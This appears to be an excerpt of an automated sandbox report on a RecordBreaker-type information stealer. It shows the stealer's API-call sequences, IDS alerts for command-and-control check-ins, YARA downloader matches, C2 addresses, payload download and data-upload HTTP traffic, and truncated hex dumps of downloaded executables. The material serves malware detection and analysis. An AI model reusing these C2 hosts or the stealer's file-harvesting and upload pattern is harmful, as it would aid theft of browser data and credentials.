Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_004052DA LocalAlloc,StrCpyW,FindFirstFileW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	16_2_004052DA
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00405B5B LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,StrRChrW,StrCpyW,lstrlenW,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindNextFileW,LocalFree,FindClose,	16_2_00405B5B
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_0040196E FindFirstFileW,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW,	16_2_0040196E
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_0040B177 LocalAlloc,StrCpyW,FindFirstFileW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,FindNextFileW,LocalFree,FindClose,	16_2_0040B177
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00401B05 FindFirstFileW,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,PathCombineW,LocalFree,lstrlenW,FindNextFileW,FindNextFileW,FindClose,	16_2_00401B05
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_0040AE06 LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindNextFileW,LocalFree,LocalFree,FindClose,	16_2_0040AE06
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00403C8F StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	16_2_00403C8F
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00401E18 LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,StrCpyW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,LocalAlloc,StrCpyW,wsprintfW,PathCombineW,FindFirstFileW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	16_2_00401E18
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_0040633E FindFirstFileW,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindNextFileW,FindClose,lstrlenW,	16_2_0040633E
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_004039D7 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	16_2_004039D7
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00406725 LocalAlloc,StrCpyW,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,	16_2_00406725
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_004039D7 LocalAlloc,FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,LocalAlloc,WideCharToMultiByte,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,	18_2_004039D7
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_004052DA LocalAlloc,StrCpyW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,PathCombineW,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	18_2_004052DA
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00405B5B LocalAlloc,StrCpyW,lstrlenW,FindFirstFileW,LocalFree,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,StrCpyW,LocalAlloc,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,StrRChrW,StrCpyW,lstrlenW,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,CopyFileW,CreateFileW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,GetFileSize,LocalFree,CloseHandle,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,FindClose,	18_2_00405B5B
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_0040196E FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,StrStrW,StrStrW,LocalAlloc,PathCombineW,lstrlenW,	18_2_0040196E
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_0040B177 LocalAlloc,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,LocalFree,LocalAlloc,PathCombineW,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalAlloc,lstrlenW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CloseHandle,DeleteFileW,LocalAlloc,StrCpyW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,DeleteFileW,FindNextFileW,LocalFree,FindClose,	18_2_0040B177
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00401B05 FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,StrStrW,lstrlenW,lstrlenW,LocalAlloc,PathCombineW,LocalFree,lstrlenW,FindNextFileW,FindClose,	18_2_00401B05
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_0040AE06 LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrcmpW,StrCpyW,StrCpyW,FindFirstFileW,LocalFree,LocalFree,lstrcmpW,lstrcmpW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,PathCombineW,LocalAlloc,LocalAlloc,SHGetSpecialFolderPathW,lstrlenW,LocalAlloc,StrCpyW,WideCharToMultiByte,LocalAlloc,WideCharToMultiByte,LocalAlloc,CopyFileW,CreateFileW,GetFileSize,LocalAlloc,StrCpyW,LocalFree,DeleteFileW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,LocalFree,LocalFree,FindClose,	18_2_0040AE06
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00403C8F StrStrW,StrStrW,StrStrW,lstrlenW,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,LocalAlloc,lstrlenW,LocalAlloc,LocalAlloc,StrStrW,StrStrW,LocalAlloc,PathCombineW,LocalAlloc,FindFirstFileW,StrStrW,LocalAlloc,StrCpyW,StrRChrW,StrRChrW,LocalAlloc,PathCombineW,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,StrStrW,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	18_2_00403C8F
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00401E18 LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,PathCombineW,StrCpyW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalAlloc,LocalAlloc,StrCpyW,wsprintfW,PathCombineW,FindFirstFileW,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,	18_2_00401E18
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_00406725 LocalAlloc,StrCpyW,StrCpyW,FindFirstFileW,LocalAlloc,PathCombineW,lstrcmpW,LocalAlloc,LocalAlloc,LocalAlloc,StrCpyW,StrCpyW,StrCpyW,LocalAlloc,LocalAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,LocalAlloc,StrCpyW,LocalAlloc,WideCharToMultiByte,WideCharToMultiByte,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FindNextFileW,FindClose,LocalFree,	18_2_00406725
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: 18_2_0040633E FindFirstFileW,lstrcmpW,LocalAlloc,PathCombineW,LocalFree,FindNextFileW,FindClose,lstrlenW,	18_2_0040633E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2038485 ET TROJAN Win32/RecordBreaker - Observed UA M1 192.168.2.4:49743 -> 45.95.11.158:80
Source: Traffic	Snort IDS: 2036934 ET TROJAN Win32/RecordBreaker CnC Checkin M1 192.168.2.4:49743 -> 45.95.11.158:80
Source: Traffic	Snort IDS: 2036955 ET TROJAN Win32/RecordBreaker CnC Checkin - Server Response 45.95.11.158:80 -> 192.168.2.4:49743
Source: Traffic	Snort IDS: 2038487 ET TROJAN Win32/RecordBreaker - Library Request 192.168.2.4:49743 -> 45.95.11.158:80
Source: Traffic	Snort IDS: 2038486 ET TROJAN Win32/RecordBreaker - Observed UA M2 192.168.2.4:49743 -> 45.95.11.158:80

Yara detected MSILDownloaderGeneric

Source: Yara match

File source: Process Memory Space: SETUP_~1.EXE PID: 2708, type: MEMORYSTR

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 103.89.90.61 ports 34589,3,4,5,8,9
Source: global traffic	TCP traffic: 185.191.229.101 ports 0,1,40915,4,5,9

Yara detected Generic Downloader

Source: Yara match	File source: 19.0.namdoitntn.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, type: DROPPED

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://193.56.146.177

Source: global traffic	HTTP traffic detected: GET /spmhaus HTTP/1.1Host: t.me
Source: global traffic	HTTP traffic detected: GET /IXlgfrm HTTP/1.1Host: cutt.lyConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/1006526153294618657/1009394950338781266/2.0.2-beta_Nwjkxkwv.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1571 HTTP/1.1Host: 135.181.104.248
Source: global traffic	HTTP traffic detected: GET /7810405426.zip HTTP/1.1Host: 135.181.104.248Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----6071721081012033Host: 135.181.104.248Content-Length: 26357Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Aug 2022 01:42:40 GMTContent-Type: application/octet-streamContent-Length: 2042296Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:39:48 GMTETag: "62543db4-1f29b8"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 e0 19 00 00 26 05 00 00 00 00 00 d0 01 15 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 60 1f 00 00 04 00 00 fd d1 1f 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f8 21 1d 00 5c 9d 00 00 54 bf 1d 00 40 01 00 00 00 40 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 b8 1f 00 00 00 50 1e 00 68 0a 01 00 68 fd 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 f0 c4 1d 00 5c 04 00 00 94 21 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 69 de 19 00 00 10 00 00 00 e0 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e4 e9 03 00 00 f0 19 00 00 ea 03 00 00 e4 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 14 4e 00 00 00 e0 1d 00 00 2a 00 00 00 ce 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 30 1e 00 00 02 00 00 00 f8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 1e 00 00 04 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0a 01 00 00 50 1e 00 00 0c 01 00 00 fe 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Aug 2022 01:42:43 GMTContent-Type: application/octet-streamContent-Length: 449280Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:39:42 GMTETag: "62543dae-6db00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9b 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 1f 84 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 00 3f 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Aug 2022 01:42:46 GMTContent-Type: application/octet-streamContent-Length: 80128Connection: keep-aliveLast-Modified: Sat, 28 May 2022 16:52:46 GMTETag: "6292535e-13900"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 74 28 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 00 3f 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
